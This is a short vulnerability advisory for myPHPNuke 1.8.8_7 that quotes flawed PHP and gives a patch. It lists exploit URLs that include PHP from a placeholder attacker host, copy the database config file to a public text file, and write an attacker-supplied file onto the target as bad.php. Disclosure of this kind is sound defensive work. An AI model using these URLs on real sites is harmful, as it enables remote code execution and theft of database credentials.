myPHPNuke : Copy/Upload/Include Files
Informations :
°°°°°°°°°°°°°
Language : PHP
Version : 1.8.8_7
Website : http://www.myphpnuke.com
Problems : - Upload/Copy/Include Files
PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
gallery/displayCategory.php :
------------------------------------------
[...]
<?php
include ("$basepath/imageFunctions.php");
include ("$adminpath/fileFunctions.php");
------------------------------------------
mailattach.php :
-----------------------------------------------------
[...]
<?
OpenTable();
global $attachmentdir;
$attchfile = $attachmentdir.$attach1_name;
if(isset($submit) ) {
if ($attach1_name != "") {
copy("$attach1", $attchfile)
or die("Couldn't copy the file!");
echo "<script> attach();</script>";
} else {
die("No input file specified");
}
echo "<script> attach(); </script>";
} else {
?>
[...]
-----------------------------------------------------
Exploits :
°°°°°°°°
- http://[target]/gallery/displayCategory.php?basepath=http://[attacker]
will include the file :
http://[attacker]/imageFunctions.php
- http://[target]/gallery/displayCategory.php?adminpath=http://[attacker]
will include the file :
http://[attacker]/fileFunctions.php
-
http://[target]/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../DBInfos.txt
will copy the file admin/original/config.php (with DB Informations) into
http://[target]/DBInfos.txt .
-
http://[target]/mailattach.php?submit=1&attach1=http://[attacker]/bad.txt&attach1_name=../bad.php
will copy the file bad.txt into http://[target]/bad.php
- etc...
Solution :
°°°°°°°°°
A patch can be found on http://www.phpsecure.info.
In gallery/displayCategory.php, add before all lines the lines :
-------------------------------------------------------------------
if (isset($_REQUEST["basepath"]) OR isset($_REQUEST["adminpath"])){
die("Patched.");
}
-------------------------------------------------------------------
And in mailattach.php, add just after the lines :
-------------------------
[...]
<?
OpenTable();
global $attachmentdir;
[...]
-------------------------
the lines :
-----------------------------------------------------------------------------------------------------------------------------------------------------------
if (isset($_REQUEST["attach1_type"]) OR isset($_REQUEST["attach1_name"])
OR ereg("/",$attach1) OR ereg("\.\.",$attach1) OR ereg(".php",$attach1_name)
){
die("Patched.");
}
-----------------------------------------------------------------------------------------------------------------------------------------------------------
More Details :
°°°°°°°°°°°°
In french :
http://www.phpsecure.info/v2/tutos/myPHPNuke.txt
frog-m@n (http://www.phpsecure.info)
_________________________________________________________________